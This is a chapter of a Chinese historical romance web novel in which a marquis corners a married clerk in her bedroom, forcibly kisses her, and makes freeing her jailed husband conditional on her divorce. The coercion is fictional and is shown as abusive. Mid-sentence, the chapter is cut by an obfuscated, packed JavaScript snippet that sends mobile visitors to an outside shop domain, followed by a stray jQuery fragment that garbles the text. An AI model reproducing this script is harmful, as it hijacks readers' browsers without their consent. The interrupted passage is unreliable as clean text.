郑菩提浑浑噩噩,再回神时已站在家门前。

    她害怕进去。

    不知该如何向阿家交代。

    踌躇良久,终究推开院门。在外头唤了两声,无人回应。这个时辰阿家或许是去市集买菜了,咳疾未愈怎能独自出行,她打算回房取几件厚衣裳,去西市寻人。

    回到东厢,小门缓缓荡开,恰见一人伫在屋中。

    郑菩提登时做出防备的姿态,按紧门框,凝神细看,竟是卢上官。

    原以为又是郡主派人来惩处,但青天白日他不问自来出现在寝室,先前又做出冒犯的举动,更叫她警铃大作。

    她半掩着门,僵声唤:“上官。”

    注意到她一只脚还留在门外,随时准备逃跑,崔寂不由哼笑,坐在桌前,双掌交叠。

    “想要冯伦活,就进来。”

    强耐转头就走的念头,郑菩提深忖良久,即便隐隐不安,还是跨入幽门之内。她立在门边,仍然难以进退。崔寂坐在原处,不急声催促,视线始终投在她面上,耐心等待那个回答。

    半晌,郑菩提不再犹豫,快步走到桌前,直接坐在他对面。

    “救我夫君的条件是什么?”她尽量将声线放缓,害怕让他瞧出忐忑与紧张。

    “我以为,上次赠双玉环已算表明心迹,不想郑令史仍装作糊涂人。也罢,今日索性明说,我倾慕郑令史,愿你能与我交好。”

    她阖目,忍耐回:“我已嫁人为妻,绝不会做任何背叛夫君的行为。”

    难道他想同她偷情吗,她在卢上官眼里就是一个放荡不堪的女人,能让他毫不犹豫地说出这些话。而他,竟是个表里不一的伪君子。

    “很快就不是了。”崔寂直勾勾地盯着她,微笑回答。

    在他直白的视线里,她被看得毛骨悚然。

    这双眼像极郡主。

    可他是唯一有希望救冯伦的人。

    郑菩提晃神,突然起身,又开始道歉:“是……下官有举动引人误会吗?那夜我不该睡你的榻,不该自以为是送药囊,请你吃饭时更不该只身赴宴,我早该寻裴阿伯陪同。我对上官没有任何非分之想,更无意收那对玉环,请你……收回方才那些话。我,我,我只是一个普通妇人,不再年少,连做你的情人都不配。”

    她满心懊悔,还欲再说,崔寂轻声唤:“郑菩提。”

    她全然没有听见,又怕崔寂像东阳郡主般直接拒绝,彻底断掉冯伦的生机,仿若抓住最后一根救命稻草,满面乞求:“我有用。今年我正打算考去户部,或者继续留在礼部,也可以调往鸿胪寺。只要上官需要,我都听。冯伦当真是被污蔑的,倘若你愿意救他,我们夫妻就此留在长安,任你差遣。”

    崔寂忽而问:“你觉得我是个好人吗?”

    她默然片刻,顺本意回答:“是。分明与我素不相识,那日在马场,你却愿意从郡主手里救人。这份恩情,我从不曾忘记。”

    “你想错了。”崔寂起身,踱步迫近,“是我早就对你有非分之想,你并不普通,你很出色。你亲手做的药囊我每日都放在枕边。”

    郑菩提骇地后退,被崔寂截住去路,堵在双臂与墙面之间。她面急焦乱,无从适应,只得环抱双臂自保,压抑说:“卢上官,这是我与夫君的寝房。求你看在我们曾共事的份上,给下官留最后一点尊严。”

    单手从腰间解下药囊,放在郑菩提鼻间,崔寂愉声问:“药香已经很淡了,此刻上面有你的气息,也有我的。药囊总有用完的时候,我原本每夜用一个,后来两个,最近要将他们都放在身边,想着你才能安眠。你本是一片好意,我的失眠症却愈发严重了。郑令史,我该怎么办?”

    她赶忙承诺:“我做,只要上官需要,我可以再做很多。我,我一定会治好你的失眠症!”

    他缓缓摇头:“不是这个。”

    她闭目不看,紧紧抿着唇,呈现疏离防备的姿态。崔寂倾身,眼睫浓厚,注视她的唇瓣。轻叹:“那日送你回家的其实是我,我将你抱入床榻,你却将我当成别人,抱着我的手臂不许我走。别那么防备,我要想做什么当日就做了。”

    她陡然睁眼,只觉面前这张俊颜如此可怖,一掌拍开他手里的药囊,嗅到冯伦曾沾染过的熟悉香气,忍不住开始干呕,她全然崩溃,仰面呵斥:“别再说了!你走!啊!”

    药囊落地,崔寂倏然捧住郑菩提的面,不由分说吻上去。

    陌生的男子气息滚入唇舌,他的双臂好似铁钳,牢牢固定她的面颊。她面目哀痛,泪水溢出,只能任由他咬|吻双唇。

    他侵吞她的舌,愈陷愈深,迷醉其中,比梦中的还要香甜。

    待她终于从中回神奋力挣扎时,崔寂又将她的双臂扣在腰后,迫她与他相贴。他吻在她的面颊,耳垂,甚至颈窝,品尝咸涩的滋味。

    她害怕事情失控,不敢叫喊引来邻里,又软下态度恳求:“贵人,别这样,我还是有夫之妇。你是要逼我撞柱吗?”

    听清她的话,崔寂从失态中暂且抽回理智。

    “是我思慕你,你没有任何错。”拂去她的泪水,他柔声说,“和离,我救人。”

    被牵制的手松开,郑菩提整个人被崔寂揽抱在怀里,她的口鼻埋在他肩头,恍惚望着狭窄的房间。心中羞愤,万般痛苦,迂回周旋:“你何苦将心思用在一妇人身上?”

    “若非如此,你以为我会忍到今日?”揽腰的掌心将她压向他,他亦耐着性子,“只要你们签下和离书,我立刻令人重审此案。他行事端直,不会再有牢狱之苦。我也不会立刻与你表明关系,待一年半载,再将你接到我家中。没有人会指责你的。”

    她打探:“东阳郡主是圣人的义姊,即便上官与她关系匪浅,能从郡主手里抢人?”她想尽可能获取更多消息。

    终于放开郑菩提,崔寂欲拭去娇唇上的血丝,却被她偏首避开。他酝酿话语,踱步行至屋中央,缓声道:“我不姓卢,我姓崔。”

    背后再无任何声响。

    “上次为办差才对你隐瞒身份。东阳郡主是我的亲妹。我名,唤崔寂。”他顿住脚步,回身道。

    郑菩提只有一个念头,他竟是东阳郡主的兄长。

    那位……她曾抱过希望的武威侯。

    “呵,呵呵。”

    她悲凉地发出讥笑,满眼荒唐愤恨,眸光直直射在崔寂面上。

    倘若贵人只是贵人,倘若夫君非死不可,倘若他真能出手相救,今日便是舍弃这身皮肉又如何!她不会怨怪他乘虚而入,也许还会感激他愿意给她这个机会。

    可是……

    “为何偏偏是你——!”她陡然怒吼。

    被她突然大变的态度一震,崔寂耸眉,反问:“为何不能是我?”他心悦她,与惜惜看重冯伦没有任何关系。他并非因妹妹才来拆散他们。

    她擦干净嘴,篾然:“欺人太甚!”

    “身为亲兄妹,君侯难道不知你妹妹东阳郡主这几月来如何逼迫我夫就范,甚至数次想杀我。如今害他下狱,你岂会不知情?你们兄妹分明就是合伙设计我们夫妻,竟还敢来说喜欢,说要帮我,恶心!”

    崔寂解释:“直至遇上你,我才渐渐知晓他们之间的纠葛。为何我是卢上官的时候,你对我尚能以礼相待,是武威侯反倒退避三舍?我承认,的确利用这件事迫你们分开,然冯伦下狱非我的主意。”

    她在心里冷笑。

    狡辩!

    亲兄妹之间算得清吗?纵容郡主逞恶本身就是帮凶,利用此事得到好处亦是帮凶。

    他是卢上官时是恩人,即便冒犯了她,她还是觉得他有良善的一面。是东阳郡主的兄长时,在她心里只剩下算计,从前的种种相帮,此刻都蒙上不轨的影子。

    郑菩提深感悲凉,想到刚才的吻,他的气息仿若还在口中,黏在身上,和他处于同一个空间,被他注视,更是恶心地干呕。

    她弓腰扶墙,匆忙灌下茶水,顺着心口。

    冷眼看她恶心他如蛇鼠,崔寂面色逐渐黑沉。刚近前,她却也迫前一步问,仰头问:“君侯登堂入室,强逼民妇,传出去武威侯府的名声就好听吗?”

    他一愣,笑得痴狂,慢悠悠回:“我不在乎。”

    “若人人都要顾及身后名,这世上哪会有那么多恶人?活着时谁敢置喙你我。即便没有我,还有我妹妹,你始终不能与冯伦厮守至白头。既如此,为何不能试着将他放下。试着,与我重新开始。”

    “可我在乎!”她反驳,“你们这些权贵,不过是一时兴起,将征服当作狩猎游戏!我们夫妻是你们兄妹的掌中玩物吗,当君侯得知我与冯伦的关系时,是否兴味

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775070|209711||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    更佳?”

    她真后悔,一时好心送他药囊,更后悔曾要为他祈福,将他当作一等一的善人。

    “好!”未等崔寂回答,郑菩提开始解衣裳,“君侯大费周章,不就是想要我吗,好奇这具妇人身子?没想到我一介平庸女子,竟能勾得鼎鼎大名的武威侯寤寐思服。今日过后请君侯为冯伦翻案,放我们离去。此事不要让任何人知晓,我不想成为旁人口中的……荡|妇。”

    崔寂的面色逐渐凝重,看她将外裳褪下,露出里面的诃子。他呼吸急促,眼见她没有停手的意思,陡然背身,满眼都是一晃而过的雪肤,质问:“郑菩提!我曾也救过你,你竟敢将我当作色痞无赖,恨不得用完就一脚踢开,是本侯从前待你太温柔了。”

    她哀声回:“下官岂敢,忤逆君侯,说不定又要被关到哪间暗室。”救了又害,害了又救,却要叫人心怀感激,当真是好大一个笑话。

    崔寂猝然回身,知道她将关暗室这一桩也算在自己头上。上下打量她,她只穿诃子与亵衣,连裙衫也脱掉了。被外男注视,郑菩提将气提了又提,才能坦然迎接他的目光。

    他靠近,她下意识拢起肩膀,浑圆藏在其中,若隐若现。他问:“在这里也可以?”

    她心如死灰,垂目回:“只求君侯遵守承诺。”

    冯伦不会嫌弃她,只会怨怪自己。所以,就让今日发生的一切成为永远的秘密。

    “可我的条件是和离。”崔寂倾身,与她面贴面,“郑令史的主动的确让我愉悦,但你我之间不是今日。难道你以为,成为我的人后还有机会与旁人再续前缘?”

    她浑身不可抑制地发抖,她说在乎,除了名声与旁人的目光,更在意冯伦啊。从前只有郡主这座不可逾越的高山,如今却又多出一个武威侯。

    她不想与他分开。

    更不能承受与其他男人共寝。

    她的心忽然凶狠起来,不如趁上值时冲到庭前告御状,将崔氏兄妹的恶行宣扬得人尽皆知,鱼死网破!倘若圣人大发雷霆,仍选择包庇他们,她与冯伦正能到地下做一对亡命鸳鸯。

    心却又瞬间冰凉,她不能,不能因为一时冲动害了他。就算他们有决心死在一块,阿家怎么办?她怎么忍心让阿家年老丧子,孤苦伶仃地在恶世挣扎,她怎么狠得下心啊?

    不觉间早已泪流满面,她问:“为什么是我?”

    他将地上的衣袍拾起来,重新盖在她身上,擦拭眼泪:“不怪你。只怪我是恶人,非要缠上你。”

    郑菩提别开脸,惨笑:“恶人?”

    他剖析:“冯伦在狱中已待了很久,再有三五日也该结案了,无论哪种情形都不容再拖。明日,我来寻你,告诉我答案。”

    语罢,推门出去。

    他刚离开,郑菩提顿觉屋中焦灼的气流重新开始涌动。她端起茶杯,一杯杯将水灌入口中,掩盖他的气息。

    连他碰过的衣裳也觉得反胃。

    忽然冲到箱笼前,取出冯伦收拾整齐的衣裳,她蜷缩在床褥中。以衣裳蒙头,面颊贴在他们并排摆放的枕头上,默自垂泪。

    良久,有人推门进来。郑菩提胆战心惊,噌地坐起,将冯伦的衣裳盖在身前。

    原来是冯母。

    看着满地凌乱的衣裳,冯母疑惑地一件件拾起来搁在床头。还是晌午,儿媳却脱了外衣睡在床上,她忧心润娘是连日奔劳,累得伤了根本,凑近一看,却在郑菩提面上看到了未消的泪痕。

    连忙搀住她的手臂,心疼问:“怎么哭了,还将嘴咬破了?”

    一听此话,郑菩提更是难堪地想要撞死,顿时手足无措,狠狠擦了擦红肿的唇,不敢再哭,也不敢看冯母,怕让她伤心。只埋在她怀里,轻声唤:“阿家,我饿。”

    “好。”冯母轻拍她的后背,“天凉,我们吃热汤面。”

    忽而发现角落的药囊,冯母拾起来放在郑菩提手心,“怎么将它丢在地上,你最近夜里睡不好。有它在,能助眠。”

    一直忍到冯母离开,郑菩提才像见鬼一样将药囊丢出去。半晌,又下床翻出剪刀将其剪成碎片,寻来火盆尽数烧了。

    收拾完衣裳,她歪倒在床褥中,开始深思崔寂的话。她无法放弃冯伦,哪怕他不是丈夫,也是家人,甚至是救命恩人。

    她只有一日时间。